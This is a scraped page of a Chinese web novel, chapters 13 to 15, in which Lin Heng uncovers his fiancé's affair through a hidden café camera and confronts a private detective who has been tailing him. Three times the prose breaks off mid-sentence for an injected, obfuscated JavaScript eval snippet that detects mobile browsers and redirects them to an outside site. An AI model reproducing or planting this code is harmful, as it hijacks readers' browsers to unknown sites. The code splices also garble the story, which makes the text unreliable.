也好,如果所有人都心怀警惕,说不定社会会安全很多。 话虽如此,一丝微妙的紧张感却渐渐攀升,随着时间推移而水涨船高。 车窗外的景色不断变换,林衡默默地靠在后座里,盯着车机导航上移动的箭头。 离目的地越近,他的心跳便越嘹亮,喉管一阵阵地发胀,像吞咽着无形之物。 兴许是发.情期的疑神疑鬼,又或许是某种天生的直觉,正滴滴地拉响警报。 嗤—— 是踩下刹车片的声音。 林衡的身体猛地向前一倾。 出租车停在了街边,从贴了暗色玻璃膜的车窗向外望去,黑底白字的招牌赫然跃入眼中。 墨白咖啡。 咔哒一声,车门解锁了,车内响起了导航语音:“已经到达目的地,请带好随身物品,下车时注意后方来车……” 隔着厚厚的米色布料,林衡的手指蓦地在报警器上下意识地一攥。 他迟疑了不到半秒,便挎好帆布包,推开车门,干脆利索地下车。 在网约车渐行渐远的引擎声里,林衡站在人行横道上,转动着眼珠,审视着宽阔的街道。 没有遮挡物,没有可疑人员,在正午毒辣的秋阳下,行人皆是来去匆匆,擎着五颜六色的遮阳伞,从咖啡店门前一次次路过。 林衡压了压帽檐,他走到巨大的 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店铺有两层,很明亮,午间客人稀少,风来来去去,唯有洁白的纱帘在树影投下的光斑里晃动。 伴着足音空旷的回响,他们穿过长长的走廊,半分钟后,店员掀开里间的门帘,最先跃入眼中的是整面墙的藏书,随后是郁郁葱葱的绿植角,最后是三三两两的沙发椅和咖啡桌。 性别成谜的店员向他比了个手势:“在最里面,靠近绿植角的位置。” 店员戴着手套,松松的,看不出指骨的轮廓,腕子上系着木质的串珠,遮盖了露出的一小截皮肤。 林衡的视线在他手上黏了几秒,才投向了远处的圆桌。 一捧密匝匝的紫黑色鲜花傲慢地冲着他笑,黑马蹄莲、黑玫瑰、黑郁金香……被暗黄的报纸包成一束,正轰轰烈烈、肆无忌惮地昂首怒放,像火焰在故纸堆上烧出的新鲜孔洞。 在桌边那张背对着他的沙发椅上,论坛中结识的“瑶池”正静候他的到来。 “好,谢谢。” 林衡拨了下金发,大步迈向房间尽头的绿植角。 随着距离缩短,他看清了立在桌边的提包、玻璃杯的反光、垂下来的大衣一角。花束上的水珠也越来越清楚,亮晶晶圆滚滚,沿着马蹄莲暗色的花瓣下滑,最终啪地一下…… 林衡来到了桌前。 没有人。 沙发椅的皮面略微凹陷下去,桌上的咖啡冒着淡淡的白汽,一切都昭示着,“瑶池”刚刚离开不久。 林衡点开聊天界面,拨了一通语音电话。 然而电话刚响两声,便被对方干脆地挂断了。 林衡皱了下眉,拇指飞速按键:『怎么回……』 未等他打出最后一字,对方的消息便先一步弹出来了: 『平衡木,我知道你很困惑,但请你先坐下来,坐在我对面的位置上』 『注意,不要抬头,不要发出任何响动』 13. 愧疚心 林衡的眼神微微变了。 他没太犹豫,从善如流地卸下单肩包,规矩地坐在“瑶池”对面的沙发椅上,扫了桌边的二维码。 在浏览菜单的同时,林衡不时地转动眼珠,留心着室内的情况。 店员不知何时已经离开了,除他之外,便只剩斜对面的一对情侣,他们的交谈声很低,在房间里模糊地回响。 林衡收回视线,在小程序上随便下单了一杯浓缩意式。 『然后?』 『在你对面的玻璃杯下,压着一张卡片,打开它』 林衡抬起眼来,从咖啡杯下缓缓抽出一张与桌面同色的卡片。 他手指一翻,将它展开。 密密麻麻的白字立时跃入眼中。 是如何用手机连接微型摄像头的简易说明书。 林衡的目光猛地调转,刺向了手边那束紫黑的鲜花。 无数或长或短的鲜嫩花瓣,环绕着深邃空洞的花心,围成一轮轮漆黑的漩涡,像一颗颗窥视的眼睛。 一道电光似的闪念霎时照彻脑海。 林衡探出手来,伸向中央的一朵,指尖顺着花瓣的缝隙锥了进去。 当手指钻入三分之一时,一层冰冷坚硬的不明物贴住了指腹。 林衡挪动着食指,谨慎地摸索着,似乎有一层弧形的轮廓…… 是一枚黑圆的针孔摄像头。 顺着这只黑眼睛的指向,林衡慢慢地抬起视线。 摄像头隐蔽的枪口,正对着不远处亲昵的情侣。 两人毫无防备地谈笑、调情,像暴露在瞄准镜下的猎物。 『你想让我帮你偷拍?』 林衡的心陡然一沉:『斜对面的两个人,是你的未婚夫和他的出轨对象?』 他按键如飞:『我不是你雇佣的私家侦探』 『对不起,但容我解释一句,不是这样的。他的出轨证据,刚刚我已经拍下了。我让你连接摄像头,是想给你看一些东西』 看什么? 可惜距离太远、角度不佳,单凭肉眼,林衡只能看清一人的侧脸和另一人的背影。 侧对着他的年轻男人,他的发型、体态和脸部轮廓都似曾相识。至于那道背影,他似乎也见过…… 林衡回绝了:『摄录无关者的私隐,这非常不道德』 『不,相信我,你有知悉这件事的权利』 对面仍在继续:『十秒钟,你可以用变焦镜头观察他们十秒,再决定要不要摄录』 林衡的嘴唇慢慢抿起了。 不知为什么,他忽然涌起了一种可怖的预感,一种掀开生活的表皮、直面真相的预感。 “瑶池”仿佛觉察了他内心的动摇:『别犹豫,也许这能改变你的人生』 这番说辞真是夸张得过火。 但林衡的胸膛却被这行文字狠狠地撞了下。 他的手心有些发汗。 伴着无限拖长的吸气声,林衡退出聊天界面,点开了手机系统设置。 他对照着说明卡片,一步步点选,进入应用商店下载app。 等待安装的半分钟里,他的脑中天人交战,从指尖到掌心都紧张得发麻,当成功连接针孔摄像头时,他甚至能听得清自己急促的喘息声。 半秒钟后,手机屏幕的正中央,跳出了那对情侣的侧面像。 这是…… 林衡的心跳被猛地按下了暂停键。 他大睁着眼睛,不可置信地调整着变焦。 摄像头捕捉到的图像被放大再放大,直至那两张面孔清晰异常。 一人梳着栗色短发,眉眼立体、颌面极窄,即便在广角镜头下,依旧是一张巴掌大小的精致面孔,真是天生便是荧幕的宠儿。 就在昨晚,林衡曾在陶青的照片里见过他。 是《欲在今宵》主创座谈会的主持人。 另一人是位英俊的中年男子,气质沉稳、相貌端正,正言笑晏晏地同他调情…… 竟然是他的未婚夫,闻如峰。 在极度的惊愕下,林衡的意识彻底飞散了,满耳是嗡嗡的白噪音,浑身的血液都凝结了。 原来如此…… 他的脑海中忽然闪现一对恍若孪生的鸢尾花胸针。 它们形状相同、大小相似,都嵌满了钻石和红宝石,只是排列的顺序不一样。 就在昨晚,它们一枚出现在主持人的照片里,一枚被佩戴在他未婚夫的身上,像两团辉光熠熠的华丽星云。 不止如此,在酒会结束后,闻如峰没和他一起回家,而是去公司办公,直到深夜才推开家门,风衣的口袋里揣着《欲在今宵》的票根…… 原来他们去幽会了…… 他的未婚夫,万峰药业的接班人,长辈口中“优质、干净、多金”的好伴侣,竟然和另一位同样有婚约在身的男人出轨了。 林衡的眼珠微微发颤。 他的确猜疑过,昨夜从闻如峰的口袋中夹出票根的一刻,他便嗅到了背叛的气味,更何况他自己也不看好这桩婚事,相处越久,崩盘的预感便越强烈,他也确实使了小心思,为退婚谨慎地做铺垫…… 但他万万不曾料到,世事竟会如此荒谬,他未婚夫的出轨对象竟是网友“瑶池”的未婚夫。 “瑶池”的控诉忽然浮现在脑海:『在我独自加班的日日夜夜,在我看不见的街角、商场、酒店里,他在和另一个男人甜蜜地约会……』 『他们在大桥上骑车、在书店里喝咖啡、在露天运动场打羽毛球、在公交车站共用同一副耳机……』 与此同时,他的耳中又回荡起闻如峰冠冕堂皇的借口: “你我家庭背景相似,你一定懂得,打理生意会烧干我所有的时间、精力与热情……” “现在是我事业的爬坡期,也是闻家的财富急剧积累的时期。我能分给家庭、亲情与爱情的精力,最多十分之一……” 太可笑了。 所谓醉心事业、工作为重、全无闲暇、热情耗干…… 全是花天酒地、寻欢作乐的借口。 林衡的胸膛激烈地起伏起来。 他的家庭虽不和睦,但父母全都正派传统。即便他也曾听说过许多不干不净的婚姻,但当这种事真的发生在他的头上时,冲击实在是过于强劲,让他的思绪一时翻江倒海。 他忽然庆幸他全副武装,让他此刻的失态不会暴露在任何人眼中。 多亏了“瑶池”的提议……他是故意的吗?他是故意让林衡打扮得像个狗仔一样,出现在双方未婚夫的幽会现场,拍下伴侣出轨的证据吗? 更关键的是,他怎么知道闻如峰是林衡的未婚夫? 难道他在现实生活中认识林衡吗? 『半分钟过去了,决定要摄录了吗?』 手机屏幕顶端弹出了“瑶池”的消息。 林衡回过神来,目光重新凝聚在图像上。 监视窗里,隔着一张圆圆的黑色咖啡桌,闻如峰牵起主持人的手,拇指一下下地摩挲着白嫩的手背。 两人一人在说,一人在听,眉目传情、秋波暗送。 主持人似乎说了句什么,惹得闻如峰挑了下眉毛,他深深地盯着他,顺势将情人漂亮的手送至唇边,吻了吻圆润的指尖。 主持人被他闹得发痒,他单手撑着头,脸上浮着慵懒的神色,唇边挂着似是而非的一抹笑。 林衡点下了录制键。 在监视窗口的顶部,立时弹出了白色的时分秒,数字匀速地跳动,屏幕中的啄吻也一下下地跃动。 他们鼻梁的侧影、嘴唇的轮廓、手指的线条全都被高度锐化,实在是清晰得骇人。 过了一会儿,那只被捉住的手忽然抽开了,玩笑似的在闻如峰的侧脸上扇了下。 闻如峰也不恼,主动贴了过去,甚至还叉起一口蛋糕,送至情人的唇边。 林衡的胃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396622|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像被一把攥紧了,唇色霎时惨白,不是出自愤怒或难堪,而是他留意到了主持人面前的切片甜点。 那是一方淡绿色的巴斯克蛋糕,顶端铺了层坚果的碎屑,是开心果口味,毫无疑问。 三天前的夜晚,闻如峰陪他过相识“三十天”纪念日,服务生推来一座硕大的、堡垒似的开心果蛋糕,吃得他意欲作呕。 闻如峰故作殷勤,说他记得林衡最喜欢开心果的风味。 原来是他记错了,喜欢它的另有其人。 『小衡!小衡!』 屏幕顶端忽然弹出了文字。 『快看看我单独为你整理的银城美术馆特展素材!』 『好东西!绝对的好东西!太养眼了!』 陶青一连发了三条消息,随后便马不停蹄地上传了若干图片和视频,消息浮层唰唰堆叠,接连不断地在屏幕上闪烁。 林衡用指节抵着眉毛,重重地揉了两下。 他静了几秒,随后退出摄录app,监视窗口自动缩为小窗,悬在屏幕右上角,接着他点开V信,翻阅陶青发送的消息…… 看清图片的一瞬,林衡神情一僵,脸色登时由白转红。 聊天界面里,赫然排列着十余张他和江耀清的合影。 上周在美术馆中随机采访时,像遭到命运捉弄一般,他迎面拦下一位俊美高挑的年轻人,没成想竟是刚刚回国的江耀清。 鬼使神差,林衡手指一颤,点开了其中一张照片。 当图像骤然放大时,林衡禁不住瞳孔一缩。 画面的确太美,让他的呼吸一时被夺去了。 浪潮般的曲线白墙、现代感十足的深灰钢骨、茂盛浓密的热带植物、恣意泼洒的浓艳霞光…… 在命运蒙着金辉的舞台上,林衡与耀清相顾无言,所有细节清晰可见,发丝或眼睫都历历可数。 中段高耸的眉头、眼睑大张的弧度、唇面略分的一隙…… 凄烈的暮色里,每格像素都静止,却每根线条都颤抖. 他们不敢眨眼、不敢呼吸,唯恐泄露一丝一毫的眷恋,唯有熔岩似的静默在寂寂燃烧。 世界便定格在欲言又止的这一秒。 再往下便是采访视频,记录了林衡打破沉寂的一瞬:“你相信一见钟情吗?” 多温柔的一句话,像是缱绻的问候。 而耀清的回应,竟也不像记忆中那般冷淡,他扇动着长睫,目光蜻蜓点水地掠开了,轻声应了一句:“不清楚。” 众目睽睽之下,他有些为难地蹙着眉梢,抽去林衡手中的图册,匆匆离开了。 他抽取的动作很慢,离开时擦过林衡的肩膀。 林衡的心脏越撞越凶,他甚至能感受到血管的收张,血液向脸上疾冲,他的皮肤烧得发疼。 『青天大老爷:怎么样!是不是很配!绝配!』 林衡霎时打了个激灵,战栗像蛇一般从尾椎蹿上后颈,可怖的寒意啮咬着头皮,令他从耳朵麻到两颊,连眉毛都僵住不动了。 ——你在干什么?你在想些什么? 林衡惊惧地盯着右上角的小窗,他放空的眼瞳中,倒映着那对出轨的情人打情骂俏的模样,一人暧昧地摸着另一人的脸,指尖滑过耳垂,意味深长地□□了两下。 ——难道你就无可指摘吗? 一声震耳欲聋的诘问从天灵盖灌下,令他的世界惶惶地震荡,一切画面都在心虚中急速崩落。 ——难道你不算精神出轨吗?你和耀清真就完全清白吗?你和那对幽会的情人有本质区别吗? 林衡垂着头,金发遮住他的脸,他的眼角微微发红,肩膀不自知地颤抖着。 他最怕良心的谴责,负疚感将他折磨得反胃,无数种念头嘶嘶作响,难堪、羞惭、痛苦,让他又是发汗,又是恶心,几欲作呕。 林衡忍不住将脸埋进了湿冷滑腻的手掌心。 这样的婚姻,太病态了。 14. 黄雀计 林衡知错了,错在根本便不该听从家里的安排,试着步入一段无爱的婚姻。 “我今年五十岁了,我也曾年轻过,年轻人的想法总是很纯洁、很天真。” 第一次相亲后,父亲张源语重心长地劝道:“什么爱不爱、喜不喜欢,其实没那么重要,它不是一成不变的。你十五岁时喜欢的明星、爱看的书、爱吃的菜,到了二十五岁时,还全都喜欢吗?即便你现在正处于热恋中,不说再过十年,哪怕是再过五年,你还会爱他如初吗?” “爱情会变的,荷尔蒙会衰减的,这是客观规律。绝大多数人的婚姻走到最后,都剩不下多少喜欢,支撑两人走下去的是适配的条件、共同的利益、肩上的责任,你和如峰恰巧具备这些潜在的要件,足以让你们成为举案齐眉的一对。” “人是会长大的,小衡,以你二十五岁的眼光来看,这当然不够浪漫,但再过十年,你回头看,只会庆幸自己抓住了这个好机会。” 彼时他哑口无言,只是点头答应了。 人是会长大的——在滔滔不绝的劝诫里,只有这一句撞在了他的心坎上。 逃避是有期限的,不是不肯挥手作别,就能永远躲在回忆的屋檐下。他总该结识新的恋人,经营新的关系,迈入新的生活。 命运无常,爱也无常,他太年轻,生活中仍有太多未知,他不敢保证会永久爱他。 可就在此刻,他恍然惊觉自己错得多么可笑。 即便时光步履不停地走了七年,即便他喜欢的明星会变,枕边的读物会变,爱吃的菜肴会变,但二十五岁的他,依旧喜欢着江耀清。 他仍旧热烈地、真挚地、不讲道理地爱着十七岁时爱上的那个人。 哪怕闻如峰是个忠诚体贴的好丈夫,哪怕他与他互惠互利、相敬如宾,哪怕他从未出轨,一门心思经营安稳的小家…… 一切都抵不过与耀清对视的一瞬,夕阳下的凝望,只消一眼,便会立时陷落。 是他错了,是他没看清自己的心意,为了亲人、为了金钱、为了重新出发,他草率地应承了婚约,让彼此深受折磨。 林衡渐渐冷静下来,他抬起头,看向不远处那对沉浸在甜蜜中的“恋人”。 既然他有错,便该勇敢地承担责任。 他会以最快的速度,主动结束这段荒唐的关系。 哒、哒、哒—— 空旷的走廊里回荡起一阵脚步声。 一只手拨开了门帘,布料向一侧拢起,一抹黑色一晃而过,似乎是手套的颜色。 是那位戴着口罩的店员。他侧过身体,在一阵器皿轻微的碰撞声里,为身后的客人让开道路。 新来的客人身穿卫衣,扣着兜帽,外面套了件棕色夹克,拉链一路拉到顶,领子竖得高高的。 他头也不抬地迈进门槛,小半张脸都埋进领子里。他的脚步又快又轻,一晃眼便来到了空桌旁边,卸下背包,拉开椅子,一声不响地落座。 这位客人头发很长,遮住了额头、侧脸和耳朵,他从包里掏出一摞暗色封皮的精装书,一本随手摊开,另三本叠在桌面上,书脊正对着林衡的方向。 包着塑封皮的书脊反着亮光,林衡定定地看了一眼,视线又慢慢地回到那位年轻人的身上。 年轻人个子不高,但肩膀很宽,体格健壮…… 林衡的指尖若有所思地蜷缩起了。 叮—— 远处传来杯盘轻碰的声音。 斜对面的两人站起来了,在闻如峰絮絮的恭维声里,主持人的目光心不在焉地游弋着,直到在某一时刻,猝不及防地撞上了林衡平静的视线。 主持人的表情忽然凝住了。 这位高傲漂亮的Beta,仔仔细细地扫视着林衡,用目光描摹着他眉眼的轮廓。 “女士。” 伴着一声雌雄莫辨的低唤,一道身影遮住了两人交错的视线。 发色灰蓝的店员轻轻躬下身,将咖啡连同托盘一并放到林衡面前:“您的意式浓缩。” 林衡转动着眼珠,与近在咫尺的年轻人四目相对。 没有阻隔剂的味道。 盯着这张精致的脸孔,林衡忽然想到,他竟没有一丝阻隔剂或信息素的味道。 这位店员的身高与体型,分明属于Alpha,但他身上却只有浓郁的咖啡香。 店员任由林衡肆意打量:“还有其他需要吗?” “怎么了?在看谁?是你的熟人?” 斜对面隐约传来闻如峰低沉的声音。 “没,”主持人漫不经心地敷衍:“那位小姐桌上的花很漂亮,忍不住多看了两眼……” 他们一人揽着另一人的腰,向门外走去:“哦?是吗?说不定今晚你一回家,就发现地上里铺满了黑色的鲜花呢……” “这是在暗示我给你家里的钥匙?” “嗯。怎么?不想收到这份惊喜吗……” 随着两人渐行渐远,调情声逐渐消隐了。 林衡收回注意力,黑白分明的眼瞳直视着店员:“你知道‘瑶池’吗?” 店员面不改色:“什么?” 林衡静了几秒,冲他笑了下:“那位客人点了什么?” 他向那位扣着兜帽的年轻人偏了偏头。 “冰博克拿铁。” “点了蛋糕吗?” “没有。” “他身上有啫喱水味吗?” “怎么了?” “有吗?” “有。” “二楼有什么?” “休息区和洗手间。” “好。” 林衡的语气轻轻柔柔:“麻烦你帮我……” * 扣着兜帽的年轻人刚刚将手中的杂志翻到下一页,身后便传来了一阵走动声。 “洗手间在这边……” 店员走在前列,为金发“女士”带路:“柠檬百香果千层已经帮您下单了,一会儿给您送过来……” “好,谢谢。” “女士”低声道了谢,她从年轻人的桌边掠过,和店员一前一后地掀开门帘,穿过空旷的走廊,哒哒地上了二楼。 待室内重归寂静后,年轻人从杂志下抽出手机,按下暂停键,回看起方才的录像。 “啧,录了一段不该录的啊……” 他忍不住腹诽一句,随后熄了屏幕,一边敲着桌子一边悠闲地等候。 时间过了十五分钟,那位“女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396623|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士”却再也没有出现过。 难道她已经走了? 年轻人心觉不妙,立刻从手机后台调出另一个app。 他双指放大地图,象征着金发“女人”的红点仍然停在墨白咖啡,GPS显示她并未离开。 难道她在楼上出事了?或是她把“那样东西”弄丢了,以至于没法定位行踪? 年轻人决定上楼看看。 他收拾好背包,将道具统统藏好,唯独在留下桌上的三本“精装书”。 万一自己离开后她突然回来,这三本“书”能如实记录她的一举一动。 话说回来,她来墨白咖啡究竟打算干什么? 年轻人匆匆出门,轻手蹑脚地爬上二楼,他小心翼翼地前行,慢慢推开了洗手间的门。 吱呀—— 没上锁,没有人,是空的。 他沉下气,将二楼彻头彻尾地勘察了一遍,根本没见到半个人影。 跟丢了? 不可能。 年轻人心念电转,飞速下楼,重新冲回了里间。 哗啦一声,他急躁地掀开门帘。 她没回来,真的没人。 年轻人咒骂一声,他退了出去,大步流星地直奔前台。 “你好。” 他敲了敲大理石台,试图吸引店员的注意力:“刚刚那位女士离开了吗?” 店员正在电脑上查看什么:“您说哪位?” “女的,金色长发,桌上放了一束花。” 店员疑惑地挑了下眉,他抬起脸来,镜片滚过一丝白光:“没有,我守在一楼,没见到有人离开过。” “真的?你再想想?” 店员沉吟几秒,继而点点头:“没错。” 年轻人皱起眉毛:“行吧,你知道她人在哪儿吗?” “她去了趟洗手间,然后就回了里间,刚刚我还给她送了千层蛋糕。难道您没见到她?” “……你没开玩笑吧?” “当然没有。” 店员和这位茫然的客人对视了几秒,友善地建议道:“她就在里面,您回去一趟就知道了” 见鬼了。 年轻人火气直冒,心里不住地骂骂咧咧。 那个房间里哪有林衡?他又没瞎,他看得清清楚楚,分明连只苍蝇都没有,这个店员肯定是在耍他,如果真有人,他立刻就把眼珠子抠出来…… 在掀开门帘的一刹那,年轻人的表情霍地凝固了。 真的见鬼了。 那个人间蒸发的金发“女人”,竟鸠占鹊巢,端端正正地坐在了自己的咖啡桌旁。 不止如此,“她”还拆了桌上的三本“精装书”,薄膜和书封凌乱地堆在一旁,她的掌心里托着一枚黑亮小巧的物什,见他赶回,便煞有介事地感叹起来: “厉害啊,竟然能弄到这么隐蔽的针孔摄像头……刚刚我用购物网站拍照识图,根本搜不到同款,果然专业人士都有特殊渠道啊……” 年轻人脸色发青,浑身的肌肉都绷紧了,甚至连牙齿畏惧得咯咯直响。 他果真该听师傅的劝,别逞能,多学两个月,再独立接单。 这一单委托,真是被他彻底搞砸了…… 15. 艳阳里 林衡随手将摄像头扔进帆布包,闲闲地靠进椅背里,向呆若木鸡的年轻人笑笑:“过来坐。” 他的指头慢悠悠地推着桌上的瓷碟,盘底和金属台面摩擦着,发出一阵令人牙酸的声响:“我替你点了块蛋糕,柠檬百香果千层,付过款了,别客气。” 年轻人的胸膛频繁地起伏着,急促的呼吸拍在夹克挺立的衣领上,一声重过一声。 半分钟后,他僵硬地挪动着步子,缓慢地脱下背包,坐回了凹陷的沙发椅中。 林衡将金发拨至耳后,“尝尝吧。” 在他意味不明的注视下,年轻人拈起银叉,小心地伸向瓷碟,切下了甜点的一角。 缩回手时,年轻人停顿几秒,最终仍是当着林衡的面,将千层送进了嘴中。 吃下蛋糕的瞬间,他的整张脸被迫暴露在外。 林衡怀中的漆黑花束正对着年轻人的面孔。 “好吃吗?” 他环起双臂,包裹花束的报纸发出轻微的沙沙声。 “很酸。” “嗯。” 林衡笑了下:“难不成我该给你些甜头吗?” 粘着白色奶油的叉子尴尬地停滞在半空中。 “上周我去医院体检,在洗手间里,和一个男人擦肩而过。” 林衡的目光在他脸上一寸寸地刮过:“他和你差不多高,体格也相仿,更重要的是,你们身上都有一丝似有似无的啫喱水味,如果我没猜错的话,这是信息素的味道吧?” 年轻人沉默不语,他焦躁地揉捏着银叉,锐利的棱角死死地硌进掌纹中。 “跟踪我多久了?如果我没猜错的话,起码一个月了吧?” 他伸手从口袋里勾出一枚红色的钥匙扣,搁在桌上,指尖不重不轻地点了点。 “是谁雇佣了你,我心里有答案了。我需要你告诉我,究竟是不是他。” 林衡报出了一个名字。 年轻人的牙齿咬住了下唇。 “我无意为难你,也不会再追问其他问题,我只想确认你的雇主是谁。” 林衡很耐心,他略微前倾,掰开揉碎地解释道:“如果你不肯满足我唯一的诉求,我能做的就是立刻报警,将你书里的针孔摄像头和装在我钥匙牌上的GPS全部交给警察,到时候无论是你,还是你的中介人,都免不了牢狱之灾,十个月起步。若是真走到那一步,你尝到的可不止是柠檬酱又酸又苦的滋味,而是精神、金钱和□□上实打实的苦头。” “我再问一遍。” 林衡的眼瞳仿若两汪深黑的漩涡:“你的雇主,他的名字是不是——” 世界仿佛是一口寂静的深渊。 脸色灰白的年轻人点了下头。 “很好,你可以走了。” 林衡将钥匙扣揣回口袋:“回去通知你的雇主,让他今晚六点到九点之间,主动打电话给我,开诚布公地谈一谈。” “对了,今天你拍下的视频,记得给他看看,尤其是前两分钟。关于那两个人,我有许多话想说。” * 当林衡结束交涉,来到前厅时,那位灰蓝发色、相貌成谜的店员正抱着猫咪坐在落地窗边的露营椅上。 正午炽亮的阳光洒进来,在地砖上切出莹白的滩涂,店员闲适地眯着眼,纯银的耳坠不时拖出一丝光轨,像一闪而逝的彗星。 他一下下地摸着猫咪漆黑的、富有光泽的皮毛,露出的一截手腕偶尔一晃,转瞬又被吞进宽松的袖管中。 林衡贴着墙沿,无声地靠在阴影里,他的眼珠一瞬不瞬地盯着懒洋洋的店员,挪动着拇指,按下了发送键。 一条编辑好的消息弹入他与“瑶池”的聊天框:『结束了,谢谢』 半分钟后,他收到了回复:『客气了,我该向你道歉。今天的安排,我没和你说实话,对不起。我留在座位上的大衣和提包不用动,半小时后会有人帮我取走』 『能理解。今晚十点左右,方便接语音电话吗,我们好好谈谈』 『好,没问题』 在他发消息的间隙,那位店员始终在静静地晒太阳,两手轻拍着膝上的黑猫。他没拿手机,没拿任何电子设备,身体舒服地窝在椅子里,手肘动也不动。 林衡的满腔猜疑忽然没了着落。 他不是“瑶池”吗? 林衡走出了书柜的阴影,阳光直射在白皙的脸上,引得他略微屈了下眼睑。 “先生……” 他来到店员面前,背对着光,影子落下来,温柔地将那人覆盖:“谢谢你,已经解决了。” 出于礼貌,店员环着猫咪,下意识地起身:“你们谈好了?需要帮您报警吗?” “不用,没关系……” 林衡连忙摆手,他抱着帆布袋,在对面的露营椅上落座了:“他不是歹徒,是被人雇佣的私家侦探,收了别人的钱,负责拍下我的行踪……” 说到这里,他笑了下,向店员诚恳地道歉:“不好意思,刚刚事发突然,我没办法向你解释太多,只能简单地交代自己被尾随偷拍了,谢谢你毫不犹豫地施以援手。” 当意识到新客人大概率是在医院偶遇的男人时,林衡当机立断,迅速拟定了调虎离山之计。 在店员的引领下,他装作去了二楼洗手间,实则台阶上到一半,就悄无声息折回一楼,藏进楼梯背后停放自行车的杂物角。 “不客气,我是确认了事件的真实性,才主动配合的。” 黑猫的尾巴一摇一摆地扫着小腿,店员随手抓了抓猫咪的头:“回到前台后,我一直在看店里的监控。那人鬼鬼祟祟、行迹可疑,楼上楼下搜了个遍。如果你们是朋友,他肯定会打电话找人,而他却像只没头苍蝇似的乱撞,想必你们是不认识的。” “嗯,多亏你在前台拖了他很久,给我留出从杂物角折返的时间。” 林衡的眼睛笑得弯弯的:“从他的精装书里,我拆出了一枚针孔摄像头,不但坐实了我的某些猜想,更是增添我同他谈判的筹码。另外,我还有一事要向你请教……” 林衡的语气蓦地变得低柔:“今天我来见网友,是一位棕色长发、米色大衣、捧着花束的女士,她的网名叫‘瑶池’。” “如你所见,我被放了鸽子。可不可以告诉我,她几点来到店里,点了什么饮品,又做了些什么呢?” “她十一点左右到店,点了一杯海盐拿铁,一直坐在位置上。” 店员垂着眼睛,他的睫毛浓得惊人,应该是贴过的,眼线画得很精致,稍稍飞扬,山根处的阴影打得很足,几乎瞧不出原生的轮廓。 “具体是什么时候离店的,我不太清楚,大概是从后门走的。” 林衡的拇指摩挲着左手的虎口:“我有个不情之请……可以让我看看系统里的订单吗?” 店员抬了下眉毛:“您不相信我的话?” “没有,想确认一下。” 林衡向前伸了伸小腿,鞋跟点在地砖上:“如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396624|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以,麻烦再让我看一看监控。如果真有位白衣女人捧着花来过这里,肯定会有记录吧?” “您觉得她根本没来过?” “眼见为实。我只见到了桌上的花束,听到了你的描述,还没亲眼确认她是不是真的来过,也不知道她是不是真的已经离开。” 林衡慢条斯理道:“我大中午打车来一趟,却被放了鸽子,所以想寻根究底一番,相信你能理解吧?” 气氛微妙地凝固了一瞬。 “很抱歉,店里的监控不能展示给客人,这是店长明令禁止过的,我做不了主……” 意料之中的借口。 林衡将左脚踝叠在右脚踝上,心里掂量着另一种解决办法。 报警。 如果林衡报警,声称自己遭到了偷拍,让警察来店里调取监控作为物证,他便可以顺带确认是不是有个白衣女人来过。 他并不相信店员的说辞,他有种强烈的预感,“瑶池”并没有穿上约定的装束,也没有离开墨白咖啡,“她”始终躲在某个角落里,窥视着林衡的一举一动。 但若当真报警,定然会给他和店里都增添许多麻烦。 “明白了。” 林衡暂且不想闹大,就先将这念头按下了。 他拉开帆布袋,展示着满满的黑色鲜切花,妖艳、饱满、色彩极纯,像凝结的熔岩:“今天你帮了我许多忙,却没什么能酬谢的,只能借花献佛,希望你不要嫌弃……” 说着他分出两张报纸,拣了三支玫瑰、三支马蹄莲、三支郁金香。 “来,一点小小的心意。” 林衡向店员倾过身,将薄薄的花束递了出去:“祝你万事胜意。” 店员淡色的眼珠中流露出一丝恍惚。 他默了几秒,静静地接过来,隔着松松的手套,两人的手指短暂地轻触。 “你瞧啊……” 林衡的声音带着笑意:“花瓣和你的手套,是同样的颜色。” 轻轻的一句,很温柔。 “我总觉得你很面善,仿佛认识了很久。看来我们很有缘,应该交个朋友。” 林衡将垂下的发丝拢回肩头:“你的手机号码,方便告诉我吗?今天的谢礼太仓促,下次会好好准备的。” 店员的手指一顿,旋即拨弄起带露的玫瑰:“我一直在这家店工作,如果想联系,可以来店里找我。” “嗯……” 几番试探后,林衡心中有数了。 他注视着年轻的店员,目不转睛,语气幽幽:“那么作为朋友,我可以看下你的脸吗?” “不然下次我来店里,万一你换了发色或耳饰,我认不出你,该怎么办呢?” 秋日湛蓝的艳阳天下,似有似无的咖啡香里,两位年轻人一左一右地坐在落地窗边,久久地对视着,各自捧着漆黑的花束。 玻璃外是喧嚣的车水马龙,室内是意味深长的寂静,空调的白噪声发出细微的咔哒声,像是时间的计数。 就像凝固在明信片里的一瞬。 